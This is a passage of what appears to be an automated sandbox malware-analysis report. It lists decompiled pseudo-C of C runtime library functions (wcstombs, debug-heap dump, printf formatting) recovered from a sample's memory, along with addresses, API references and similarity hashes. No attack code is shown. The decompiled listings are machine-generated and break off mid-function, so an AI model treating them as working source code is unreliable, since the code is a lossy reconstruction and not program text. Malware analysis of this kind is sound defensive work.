									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B3B0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E220();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422D10(_t65))) = 0x22;
						E00422AA0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B3B0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422D10(_t61)));
				goto L30;
			}

0x004376a4
0x004376a7
0x004376ae
0x0043771a
0x0043771d
0x00437720
0x00437724
0x00437811
0x00437811
0x00437815
0x0043781d
0x0043781d
0x0043781f
0x00437822
0x00437825
0x00437825
0x0043772d
0x00437730
0x00437807
0x0043780a
0x0043780a
0x0043780d
0x00000000
0x0043780d
0x00437736
0x0043773a
0x004377fa
0x004377fd
0x00437800
0x00000000
0x00437800
0x00437743
0x00437746
0x0043774a
0x0043774c
0x00437753
0x00437755
0x00437759
0x00437761
0x00437767
0x00437776
0x00437776
0x00437779
0x00437769
0x00437769
0x0043776e
0x0043776e
0x0043777c
0x00437788
0x00437788
0x0043778c
0x00437791
0x00437791
0x00437759
0x00437753
0x00437794
0x00437797
0x0043779a
0x0043779e
0x004377a1
0x004377a3
0x004377a8
0x004377aa
0x004377af
0x004377b4
0x004377b6
0x004377bb
0x004377be
0x004377c1
0x004377c3
0x004377c3
0x004377c1
0x004377c4
0x004377c8
0x00000000
0x004377ca
0x004377cf
0x004377eb
0x004377f3
0x00000000
0x004377f3
0x004377c8
0x004376b4
0x004376b9
0x004376c0
0x004376d7
0x004376dd
0x004376ed
0x004376ed
0x004376f0
0x004376df
0x004376df
0x004376e5
0x004376e5
0x004376ff
0x00437703
0x00437708
0x004376c0
0x00437710
0x00000000

APIs

_memset.LIBCMT ref: 00437703
_memset.LIBCMT ref: 0043778C
__invalid_parameter.LIBCMTD ref: 004377EB

Strings

P, xrefs: 00437800
_wcstombs_s_l, xrefs: 004377E1
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004377AF, 004377DC
sizeInBytes > retsize, xrefs: 004377A3, 004377E6

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction ID: a859f8e501ecfcc299ffc01d792a109fc0f80cb67dad4591b5e72e3d2242628b
Opcode Fuzzy Hash: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction Fuzzy Hash: 6841AD70D04209EBCB24CF58C845BAE7770FB48315F10966AE8B52B3D0D378A950CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041D777, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D777() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041ACF0(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00422EA0(E0041ACF0(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00422F50(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041ACF0(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422D10( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422D10( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BB00(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041D8F0( *((intOrPtr*)(L00422D10(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422D10(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429420(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BB60(E0041ACC0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d777
0x0041d777
0x0041d777
0x0041d77d
0x0041d787
0x0041d794
0x0041d789
0x0041d78c
0x0041d78f
0x0041d78f
0x0041d7a1
0x00000000
0x00000000
0x0041d7a7
0x0041d7b0
0x0041d7bd
0x0041d805
0x0041d80a
0x0041d80d
0x0041d7d2
0x0041d7e5
0x0041d7ea
0x0041d7ed
0x0041d7ed
0x0041d814
0x0041d81f
0x0041d816
0x0041d81a
0x0041d81a
0x0041d82c
0x0041d837
0x0041d83f
0x0041d863
0x0041d868
0x0041d86d
0x0041d872
0x0041d896
0x0041d89b
0x0041d89b
0x0041d8a6
0x0041d8a6
0x0041d8ad
0x0041d8ad
0x0041d8b0
0x0041d8b8
0x0041d8d5
0x0041d8d7
0x0041d8d7
0x0041d8ed

APIs

__isctype_l.LIBCMTD ref: 0041D7E5
_swprintf_s.LIBCMTD ref: 0041D868
__invoke_watson_if_oneof.LIBCMTD ref: 0041D896

Strings

_printMemBlockData, xrefs: 0041D880
(*_errno()), xrefs: 0041D885
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D87B
%.2X , xrefs: 0041D84A

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction ID: 6c2e0dca323830f464e95e25ba7f828ada934d1cfe9c9571e514eaadcfb2fd8f
Opcode Fuzzy Hash: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction Fuzzy Hash: 0531A1B0E04318EFCB08EFA1CA51AEDB771AF45304F60456AE8156F2C2E7789A41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00428F51, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00428FB8
__set_error_mode.LIBCMTD ref: 00428FC7
GetStdHandle.KERNEL32(000000F4), ref: 00428FDE
_strlen.LIBCMT ref: 00429004
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0042901C

Strings

t/j, xrefs: 00428FF1
jjj, xrefs: 00428FA0

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: 0403c7409da94525b354a8424dbd68554aa6be53f909f625d3df3773ce4770d0
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: 8521F874E00118FBEB24CB48FA49B6D7371EB04314FA0416EE505A7291DB79AE50DB8E

Uniqueness

Uniqueness Score: -1.00%

Function 0042E7A0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E0042E7A0(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0x7223ce7a
				_v8 = _t25 ^ _t55;
				E0042E850( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438CC0(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				E0041DE60(E0041D9E0(__ebx,  &_v32, __esi, _a16, _a20,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BB60(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042e7a8
0x0042e7af
0x0042e7ba
0x0042e7c5
0x0042e7c6
0x0042e7cd
0x0042e7d2
0x0042e7d7
0x0042e7de
0x0042e7ed
0x0042e7f7
0x0042e800
0x0042e82b
0x0042e839
0x0042e84c

APIs

___dtold.LIBCMTD ref: 0042E7BA
_$I10_OUTPUT.LIBCMTD ref: 0042E7E2
_wcscpy_s.LIBCMTD ref: 0042E822

Part of subcall function 0041D9E0: __invalid_parameter.LIBCMTD ref: 0041DA52

__invoke_watson_if_error.LIBCMTD ref: 0042E82B

Strings

strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042E811
_fltout2, xrefs: 0042E80C
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042E807

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction ID: 5246b0a9594d49a2f6c2c27476126fcf13bcd779d524f36071dff438f5f6b1d2
Opcode Fuzzy Hash: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction Fuzzy Hash: 00214DB5A003089BCB04DF65DC42ADEB7B4EF4C704F148559F8056B381E634E911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00434E57, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434E57(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E004355C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435600( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004355C0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435600(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E004340D0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00435600( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E004355C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C3E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435410))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E004310C0( *(_t557 - 0x251) & 0x000000ff, E0041ACF0(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00435520( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00435520( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
